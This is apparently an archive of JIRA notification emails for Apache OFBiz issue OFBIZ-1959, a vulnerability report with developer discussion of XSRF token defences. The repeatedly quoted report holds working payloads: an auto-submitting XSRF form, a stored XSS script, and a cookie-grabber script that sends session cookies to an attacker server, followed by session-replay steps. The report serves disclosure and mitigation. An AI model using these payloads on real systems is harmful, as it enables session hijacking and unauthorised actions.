> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "David E. Jones (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12700543#action_12700543 ]
David E. Jones commented on OFBIZ-1959:
---------------------------------------
Thanks for your review Michele.
I'm not sure if I understand the threat you're talking about correctly... are you saying that the HTML use in the attack would somehow have to get a user to enter their username and password?
We did discuss a few things related to tokens and such and after looking into various options I wrote up the follow email. The options listed at the bottom are the ones that are now implemented.
If there are ways you know of to get around some of the issues with tokens please do share! We could certainly implement those or other measures but the trick is how to do so without significantly impacting the end-user experience.
Thanks again,
-David
====================================================
Proposal Message Below:
====================================================
I've been thinking more about the XSRF problem and what we can do to make OFBiz more secure from this sort of attack. This is related to OFBIZ-1959 and there is more discussion and introduction to it there.
The trick is that we want to allow certain things:
1. the client's IP address can change during a session (also an attacker could be behind the same NAT router as the victim)
2. the client may have multiple browser windows or tabs open that are part of the same session
3. the client can jump from any page in an application to any other page in that application
4. once authenticated the client stays authenticated for the remainder of the session (doesn't have to re-auth for each page request)
Because of these once a user has authenticated the main secure token they pass around is their session ID. In many cases this session ID is NOT communicated in a secure, ie it is passed over the network in plain text (it is often in the URL, or the user may hit HTTP requests and HTTPS requests). In any case, if an attacker can find the jsessionid then they can forge a request and act like the original user.
In reality this is a problem that app servers should take care of, and could take care of in a generic way, but they don't (not any I know of anyway). For example they could do things like using different jsessionid values for secure and non-secure communication (ie different values for HTTPS and HTTP) and only allow the non-secure one (HTTP) to go in the URL.
Even with that in place we'd still have to do certain things, but these would be very doable in OFBiz. For example we'd have to make a few small changes so that requests with https=true simply cannot be accessed through HTTP (this is not strictly enforced right now). And even with that they may still be issues, and would certainly be issues for requests that don't use HTTPS.
One option is to have the framework generate a random token that is generated for each request so that the next request to the server MUST pass that token otherwise we treat it as if the user is not logged in, and in fact we would just logout the user and make them re-auth. That's an annoyance for the false positive cases, but much more secure.
The major false positive case that concerns me related to this is the use of 2 common browser features:
1. the back button: if you go back you'll have a page with an old token in the links and clicking on any link or submitting any form would require you to re-auth
2. multiple windows/tabs: if you begin your session in one tab, then open another page in the same webapp in another tab it will be part of the session; if you then go back to the original tab and click on something the random token will be stale/old and you'll have to re-auth, and that will cause the token to update so when you go back to the second tab and hit any link you'll again have to re-auth
The solution of a random token wouldn't be too hard to implement, but this constraint is a real pain. We could restrict this to secure pages only, but basically it means that for those pages users can't use the back button or multiple tabs/windows... and I don't like that one bit!
The only solution I can think of to this would basically make the whole thing useless. We could remember past tokens so that as long as you have one of the valid tokens for the session then it's okay. However, if we do that then the random tokens will be no more secure than the jsessionid. We could try harder to keep them more "secret", but if they go into a parameter or even a cookie then they aren't really secure. Maybe we could change all links to form submissions somehow... or maybe not. We'd be back to where intercepting a request that is part of a session could easily reveal the jsessionid AND a random token that would be valid for the rest of that session. Ie, we're back to square one.
BTW, even if we go with this, it still isn't perfect. The random tokens would that an attacker would have to watch for responses as all tokens in requests would be invalidated unless they can keep that request from making it to the server (a real man-in-the-middle attack like that is a tough one to handle!). They would have to look at responses to get a token and the jsessionid and then send the forged request before the user hits another page.
In other words, for all of this pain, especially not being able to use back or multiple tabs/windows, we effectively shorten the vulnerable time period and restrict the attack methods a bit.
================================
One thing that we could do to help with this problem, at least for secure pages, is to tighten things up a bit. I'm thinking of 2 things:
1. if a request has https=true then we will not accept http requests AT ALL, we will just return an error message (currently if it is a form submission we just accept it)
2. if a request has https=true we will ONLY pass encrypted data (ie body parameters, not URL parameters) to the service it calls; events may need to be changed to better support this since they have direct access to the request object, but for services we can easily filter this out; that means URL parameters will be ignored in secure requests that call services
These things, and perhaps others, would help this problem a lot for secure requests. For non-secure requests... well they aren't very secure anyway! ... and they would continue to be more vulnerable to XSRF attacks too.
Anyway, comments and suggestions would be well appreciated...
-David
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675054#action_12675054 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Thanks Michele,
I did not try yet but yes it's very clear now. I will try ASAP!
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "BJ Freeman (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630874#action_12630874 ]
BJ Freeman commented on OFBIZ-1959:
-----------------------------------
I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "David E. Jones (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675505#action_12675505 ]
David E. Jones commented on OFBIZ-1959:
---------------------------------------
I forgot to mention, my last changes are in SVN rev 746409.
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Sam Hamilton (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12707673#action_12707673 ]
Sam Hamilton commented on OFBIZ-1959:
-------------------------------------
I am out of the office with no access to email until Monday 18th May - for any urgent issues issues please contact either Alex Duncan (alex.duncan@virtualvillage.com) or Andrea Schiffer (andrea.schiffer@virtualvillage.com)
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Remaining XSRF issues
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12914706#action_12914706 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Else I will close, of course...
> Remaining XSRF issues
> ----------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Sub-task
